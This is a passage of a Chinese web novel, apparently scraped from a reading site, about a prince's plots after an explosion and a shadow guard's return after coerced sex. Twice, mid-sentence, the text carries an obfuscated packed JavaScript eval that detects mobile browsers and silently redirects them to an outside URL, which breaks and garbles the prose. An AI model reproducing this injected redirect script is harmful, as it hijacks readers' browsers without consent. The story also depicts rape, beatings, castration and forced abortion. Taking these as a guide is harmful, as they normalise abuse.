他麾下这些幕僚和投靠的刘唐旧臣,当着他的面吵了一两个时辰,他起初耐着性子听,后来头疼得厉害,便将那些党徒打发了,只剩下几个心腹在侧。 “还记得大明王佛堂的爆炸么,与今日如出一辙,最后赵知诚死在诏狱。听说孙耀柱招了,但一直被崔侯押着,也不知如今是死是活。诏狱的消息除了大公主能探进去一鳞半爪,咱们可是半分都掌握不到啊。” “约莫今日这爆炸,与大公主脱不了干系,岂不知是崔侯作的乱?他今日带这么多护卫队的人,显然是早有预谋。” “今日这事便宜了谁,首要得利的便是崔侯,官复原职不说,又揽下锦衣卫的权,还将手伸进了皇城司。咱们处心积虑拉拢大公主,朝堂上使了不少力气,罪证做得山堆海积,弹劾的奏章雪片似的飞进内阁和司礼监,又替大公主杀了赵知诚,本以为能重创崔侯,谁知才几日功夫,崔侯的权势更盛了。” “说到底,大公主没有同咱们交底,否则今日不会这般稀里糊涂。” 幕僚的灼灼目光,望向李佑慈的脸上,拱手恳求道:“殿下,您是否再与大公主通个气?若这案子与大公主有牵扯,咱们得尽早寻求脱身之策,瞧今日圣人的态度,六殿下是其一,恐怕那女进士也占其二。女子入仕,是圣人定下的国策,圣人定然不容有失……” 李佑慈不耐烦地皱着眉,不以为意道:“不过是一个女进士罢了,选她也是严太恒的主张,正巧她非要与郑薇一处,底下那些人顺手罢了。” “至于大公主,她才出了赵知诚这事,好险才做了了断,还惹了崔照意烧她府邸,如今连个栖身之所都没有,她还有胆子在清漪园闹这么大动静?”李佑慈满口嫌弃地说道,“火药一事,涉及兵权和军事机密,好不容易将那案子暂且平息了,她至于再做下今日这一出,将祸水往自己身上引吗?” “你们用脚趾头想也该知道,旧案重提绝非是我那阿姐的心思,多半是旁人栽赃嫁祸!剩下的,除了咱们,就老二,老四,老六不成器且不提,还有一个崔照意!” 书房里沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14817289|158692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默下来,都知三殿下心烦气躁,谁也不愿再多嘴触其霉头。 李佑慈一通邪火发作,见众人个个哑口无言,便更觉太阳穴突突地疼,戏唱得不顺不说,反倒当了旁人的靶子。他总感觉有一只无形的大手在操控一切,自己成了其中棋子,被人看穿被人推着走,被人掌控着行径,这让他感到十分难受。 某一刹那,他甚至生出了一种不详的预感,且这种感觉愈演愈烈,尽管爆炸案直指大公主,但他却觉得自己已然深陷其中,恐怕抽身不得。 “火药……”李佑慈忽然灵光一闪,“两江转运使贺宽,他还是洛广总督,负责在东海造海船练水师。” 贺宽是二皇子李重华的生父,又是四皇子李盈简的老师。李盈简腿废之前一直跟着贺宽行走,二人亦师亦父,关系甚至比李重华还要亲近几分。李盈简定亲的皇妃,便是出自贺家。 火药一直是东海水师所需,贺宽近几年主张在海船上架大炮,每年花费之巨,占兵部预算六成,火药也是供不应求。若说旁人不好弄这等稀罕物,但对于贺总督而言,不过是动动手指头的事情。 及至此刻,李佑慈才陡然意识,在这浩京城发生的一切,哪怕一件小事,都牵扯着整个李周江山。 并非是他在北境打了六年仗,便在储位之争中胜券在握,北刘侯南贺公,纵然废了老四的腿,可还有一个老二啊,这才是贺宽的亲儿子! 李佑慈整个人一激灵,深吸一口冷气,目视书房里的一众心腹,只觉这些酒囊饭袋,还想着什么女进士,什么女皇定的国策,谁手里有兵权,谁身板才硬!哪还管那些笔杆子嘴刀子? 女人这种东西,不过是身下的玩物罢了,还能翻了天去? 他沉思片刻,手指敲着身旁的茶几,徐徐说道:“八月中秋,又逢万寿,贺总督惯例回京贺寿,若借火药之事,让他出不了京城,老二岂不是再无臂助?” 几个心腹面面相觑,“那眼下……” 话未说完,守在门口的刘伴伴带着青棠慌乱进门,刘粟面色惨白一片,嘴唇微微发颤:“主子爷,出大事了。” 他伏身在地,抬首望向李佑慈眼眶泛红:“碧环和海桐一直未归,奴才让天香和青棠去查,适才青棠回来说,说……” “到底怎么了?”李佑慈那不好的预感,像一块悬空的巨石,正在逐渐落地成为现实。 青棠接着说道:“碧环死了,海桐应当是被擒了,天香抢回了碧环的尸体,但也身负重伤。我们继续追查,惊动了崔府护卫队的人,已经没了线索,目前尚不知海桐被关在何处。” 她的肩膀上也受了一刀,此刻血腥味隐隐弥漫空中,她咬着牙没有表现出任何异样。 “好你个崔狗!”李佑慈恨得双眼通红,他的影卫被擒了,这件事迟早查到他身上来,以崔照意的性子,恐怕还要将爆炸案栽赃在他身上。 那人向来没有什么原则底线,做事疯疯癫癫,全凭个人喜好。他们之间不和已久,这么大一个破绽,姓崔的岂会轻易放过? “蠢货!一群蠢货!”李佑慈气急败坏地摔了茶盏和花瓶摆件,又一脚踢在青棠身上,踢得人倒在地上爬不起来。 刘粟连忙将人扶起,告饶道:“主子爷息怒,青棠也受伤了。” “受伤,呵,怎么不死了去?”李佑慈恶毒地骂道,“一个个不中用,就这么点破事都办不好,还遭姓崔的生擒,我养你们有何用?叔父这些年送来的人,真是一个比一个差劲!对上姓崔的,从来都讨不到好果子吃!” 他重重地呼吸几回,脸色涨得通红,吩咐刘粟:“海桐不能留活口!派人查出来,是关在诏狱还是哪里,必须灭口!” 青棠身上疼得厉害,眼泪溢出眼角,轻声说道:“他不会出卖主人的。” 李佑慈瞪着她,嘲讽地嗤了一声,他从来不信有谁不会出卖自己,哪怕是用蛊毒控制的影卫。他盯着刘粟,恶狠狠道:“不惜一切代价,尽快灭口。” “是。”刘粟无奈应道,动作迟缓地俯身行礼,伴着那一头斑白的头发,愈发显得他苍老起来。 也就在这时,李佑慈想起往日山茶的好来,那个陪伴他二十年的影卫,不管多么艰巨的任务,从来没有失手的时候。哪怕是出入崔侯府,也不曾落下这么大的把柄。 “山茶呢?叫他来府里见我。” 20. 第 20 章 臭水巷黑漆漆的,没有丝毫声响。这座隐秘而破败的别院,完全看不出他的主人是当朝皇嗣。 山茶推开大门,值夜的守卫看了他一眼,便放他进去了。 他问:“刘伴伴在么?” 那守卫答道:“去府里了。” 二人再无多余的话,李默往自己的住处走去,他在这世上唯一的栖身之所,大概就只有这个破院子里的一间小屋子。或许他应该尽快养好伤,回到主人的身边,继续听命行事,这才是他存活于世的意义。 后院的停尸房,有一个专程用作焚尸的锅炉,此刻烟囱正冒着熊熊浓烟。 从前李默瞧见了也漠不关心,这一回不知怎么就脚尖一转,往那边去了。 站在焚尸炉前面的,也是一个受了伤的影卫。他其实很不好,脸色惨白毫无血色,但别院的规矩,就是谁带回来的尸体,谁就要亲自焚烧,来日若出了变故,便要谁去负责。 至于死在别院的,就由刘粟负责收尸。李默想过最好的归宿,大概就是刘伴伴会给他念一段佛经,他在那颠三倒四的诵读声里睡过去,而他的肉身湮灭在焚尸炉的烈焰火舌中。 “谁走了?”李默站在天香的旁边。 天香微微颔首:“山茶大人,是碧环。” 李默回忆了下,这个叫碧环的,他见得不多,脸上有疤,应是烧伤所致,平日有些畏火。黑天白日都戴着面罩,从不肯以真面目示人,吃东西要晾凉了才入口,尤其爱一些冰饮子。 手脚功夫一般,但很会藏匿,制毒手段一流,却从不肯给同僚一些便宜。若旁人拿他玩笑,他只会偷偷嘟囔几句,却不会正面反驳。 这样的人在三皇子的影卫里,是再普通不过的一个,就连李默自己,这么多年走过来,都很难记得清楚,曾经亲手焚烧过多少人的尸体了。 倘若能在他驳杂的记忆里,留下一个简单的特征,大约是他偶尔关注过一眼的。碧环好几年前在一项任务中因畏火发生失误,为此曾在他这个执刑者手下受过惩罚。他亲自剥了对方的衣裳鞭挞,才看到对方浑身的烧伤瘢痕。 这么个畏火的人,最后埋葬在了焚尸炉里,想来对方肯定很不欢喜,要偷偷嘟囔很久的。 李默沉默了一会儿,看了看天香,血顺着手指淌下,地上凝结着鲜红色一团。 “刘伴伴不在,我帮你处理伤势。” 二人待火势燃尽,收拾了碧环的骨灰,李默就去了天香的住处。衣衫沾着血,黏在男人的伤口上,脱下来十分不易,油灯并不明亮,李默的动作很轻,眼神专注地盯着。 天香皱着眉头,冷汗一层层冒出来,耽搁久了不曾处理,再弄起来就会愈发地疼。 不过他们经常便是如此,刘伴伴对此早有经验,有时会用烈酒倒在伤口上,一来消毒,二来浸润衣物好做剥离。李默长了一张冷漠的脸,手上动作却很温柔,他从来不会像刘伴伴那样粗暴处理,哪怕自己费些功夫,也会教伤者好受一些。 李默专注清理外伤,凑得愈发近,天香便闻到对方身上的药草味,药草味夹杂着血腥味,还有一些陌生的熏香。 他微微一怔,影卫的敏锐教他明白,这段时日山茶大人身上有秘密。 熏香或许是一个女人的,也或许…… 天香的思绪短暂纷飞,人在强烈的痛苦中会试图转移注意力。于是他顺着眼前男人的侧脸,看到了对方修长的下颌线,白皙的脖颈。 那脖颈处,密密麻麻布满各种印子,有些消退了有些还带着青紫色,无一例外是亲密之时的暧昧痕迹,沿着衣领一直往下。 他瞳孔微张,随后又看到那耳垂,金色的耳钉耀眼夺目,边缘挂着的一点血疤表明这是才戴上去的。 “主人宠幸了你?”天香忽然问道。 李默在给对方涂抹药物,听到这话有些莫名,随后意识到什么,很快扯了一下衣物,然于事无补。那崔侯爷真如旁人骂的那般,跟狗没什么两样,在他身上弄出许多吮痕和牙印。 遮是遮不住的,一连几日都没消完。上回还好些,只一味弄些伤口,这回不知是自己顺从的缘故,还是温泉池子助兴些,那崔狗捉着他,翻来覆去从上到下,一点一点啃了个遍。 李默绷着脸,思及此,脸上微微发烫。 他也是经了此回才明白,原来有时的瘫软无力,也并非全都是力竭的缘故。 “不是主人。”李默平静地说道。 “那是任务中出了事?”天香猜测道,毕竟以主人的性子,是不会弄出这么多痕迹的。 主人重欲,但也爱惜颜面,私底下如何都不肯抬到面上来。山茶身上这繁多紧密的痕迹,无不显示实施者强烈的占有珍爱之意,而主人不怎么爱男人,影卫之中大多是女人遭受侍寝的经历。 但除了主人,天香也实在想不出,还有谁能让这位强大而高冷的山茶大人雌伏,或者说,又有什么任务能难倒这位山茶大人呢? 李默嘴唇微动,仿若欲言又止,他视线专注地盯着天香的伤口,拿着纱布和绷带替对方包扎。他手法娴熟细腻,比刘伴伴包得好看许多。 “还是大人有心上人了?” 这是最坏的猜测,天香不敢往这方面去想,自打跟了三皇子,他便听说了这位山茶大人的诸多传闻。初见时觉得对方相貌不俗,后来见识其能力手段,更是心生佩服。大人的刀,是影卫的尺,不管是叛逃还是犯错,那一把刀绝不留情。 所以他想不到有一天,这位大人也会犯错,甚至动情,主人最忌讳的便是私情。 “若教主人知道的话,你恐怕难逃责罚。”天香担忧地说道,“记得紫绵在北境与人私相授受,是被主人骟了的,后来又喂了药丢进发、情的猪圈,还教他那情人看着,最后人都疯了。” “嗯,我知道。”李默示意天香转身,替他查看后背的几处伤,“我亲手下的刀。” “那你还怎么敢?”天香倒吸一口凉气,只觉得山茶大人处理后背伤手重了些,迫得他无法继续说下去。 天香痛呼缓了许久,李默才开口回答:“没有心上人,是被强……”他顿了顿,“是交换,不然我没法活着回来。” “交换也……”天香扭头去看李默的脸,却看到对方那双肿破的唇,脑子里仿佛有什么轰然倒塌。 在他印象中,这个男人如冰刀雪剑,刚直不屈又生人勿近,若让他在旁人身下婉转承欢,根本是不可能的事情。但现在,偏有人染指了他,还像小狗撒尿似的做下这么多记号。 “你如何向主人交代?”天香惆怅道,“我只当做没看见,但今日清漪园交手,主人正在气头上。” 言下之意,瞒过这几日也很难,三皇子必要找他。但凡见了面,谁人看不出他经历了什么,李默选择此时回来,的确不是个好时机。 “知道,我会受宫刑吧,但应该罪不至死。”李默语气微顿,“今日你们交手的,是崔府护卫队的人?” “是,一去就惊动了,他们真不是吃素的,砍了我这么多刀。”天香龇牙咧嘴,朝李默苦涩一笑,“若是你在就好了,说不得能把海桐带回来。” “海桐怎么了?” “被崔侯擒了,只怕想死也不能,不知要遭多少罪。” 天香叹了口气,身上已经开始烧热,他抹了抹自己的额头,惨笑着对李默说:“大人的糖葫芦,能送我吃一颗么?” “没买的,明日给你带。”李默替天香穿衣裳,又去拿了烈酒来,擦拭额头腋窝腹股沟等处,天香笑称还不如让他喝了,醉个昏天黑地,倒也舒坦些。 李默自然不许,盯着天香隔半个时辰又擦拭一回,擦了两回后刘伴伴搀着青棠回来。 青棠双手按着腹部疼痛难忍,这是遭三皇子泄愤踢的。后来人散了,三皇子没让青棠走,将人压在书桌前弄了,这次行事十分粗暴,还咒骂掌掴,青棠的脸都被打肿了。若不是差点儿教人发现,青棠怕一夜都回不来。 即便回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14817290|158692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,人也不像个样子,脸上红彤彤的指印,身体站也站不直。 “你明日去府里,主子爷要见你。”刘粟见到李默,便对他说道。 李默点头,“知道了。” “帮个忙,把她抱进房去。”刘粟让李默过来搭把手,“我风湿犯了,腿疼得厉害,今日又跪太久,打小留下的毛病,如今走都难走。” 李默伸手去扶青棠,青棠失力地往下坠,喉间咕噜两声,突然哇的一下佝着腰吐了。刘粟脸色一变,李默紧紧拽着人,吐了好一阵,青棠泪眼朦胧地抬起头,望着眼前的李默,又看了看刘伴伴。 “怎么办,我好像也怀孕了。”她那指节分明的手指,用力地扒着李默的小臂,发白的嘴唇剧烈地颤抖着,“要不然……” 女人瘦小的脸庞,瞬间流满泪水,声音带着哭腔,“山茶大人你杀了我吧,我宁愿死在你的刀下。” “别怕。”李默揽过对方的腰,一把将人抱起,快步往房里走去,“让刘伴伴给你看看。” 刘粟紧随其后,进到门内烛火照亮,他突然看到男人后颈上的暧昧咬痕,震惊道:“你这几日都去了哪里,我替你在主子爷跟前隐瞒,已是天大的罪过了,你这,这都是些什么?” 李默一放下青棠,就被刘粟扯着衣襟质问,小老头儿浑浊的眼里含着泪花,瞅见李默那被咬破的嘴巴整个人呆住。 衣襟之下是更多的痕迹,他再看那枚意味颇浓的金色耳钉,更觉得刺眼极了。 “先看看青棠。”李默平静地整理衣衫。 刘粟暂时止住,同李默一起安抚了青棠,给她处理伤口喂了安神药休息。待青棠平稳睡去,他便坐在床边重重地叹息:“确实怀孕了,还得堕,伤得很啊。” 李默眼睛一眨不眨,静静地看着青棠睡不安稳的脸,想起了前些日子的木兰,也是这样蜷缩在床上,求他杀了自己。 “你呢,怎么办?”刘粟语重心长地问,“主子爷视影卫为私有物,女人不必说,男人也不例外,他最忌讳这些,你明日顶着这一身如何去见他?” 李默没有说话,刘粟再问:“你是与人偷情了么?” “不是,那日外葬木兰,我遭崔府的人擒住,今日才逃回来。”李默心底生出一丝难堪,“都是崔侯留下的。” “料想也不是你违了规矩。”刘粟松了口气,又忍不住骂道,“这姓崔的,他可真会作践人!来,我看看你的伤,这次只怕伤得更重。” 李默摇了摇头,“这次没有新伤。” 他外逃的时候,那些个留守的护卫队,虽然出手阻拦了,却不敢下重手,他轻而易举就离开了崔侯府。更因这些时日在甲四和余妈妈的调养下,之前受的伤也好得快些。 他不是没有怀疑过崔侯的用意,故意露出破绽让他回来,此举定然别有用心。但他也想不通对方还能有什么目的,除了这副身体,已被那人予取予求过,崔侯还能图他什么? “莫非他是故意放你逃走?”刘粟惊疑道。 “他与主子爷敌对多年,早就了解主子爷的脾性,知道放你回来主子爷见了必要生气,再加上今日清漪园的事……”刘粟浑浊的眼珠儿转动,不断分析道,“你是主子爷身边待得最久的影卫,他此举便是在拿你挑衅,杀人诛心哪,都知影卫是三殿下的底牌,你乃影卫之首却遭此玩弄,岂不是将主子爷的脸皮扯在地上踩?嘲讽主子爷无能至极么?” 李默神色微怔,没有说话。 “清漪园事败,府里已经焦头烂额,你与他行此亵事,主子爷震怒之下,未尝不会拿你开刀,在你身上泄愤。他将你放回来,就是要让主子爷亲手折磨你,甚至取你性命。”刘粟眼里已露悲伤之色,“山茶,你一向尽忠职守,若遭此下场,岂不也是在诛你的心?” “他的目的,无非是要离间你们主仆感情,更意在断我主臂膀,好狠毒的崔照意!” 李默闻言,闭了闭眼,随后淡淡说道:“主人的命令,不可违背。”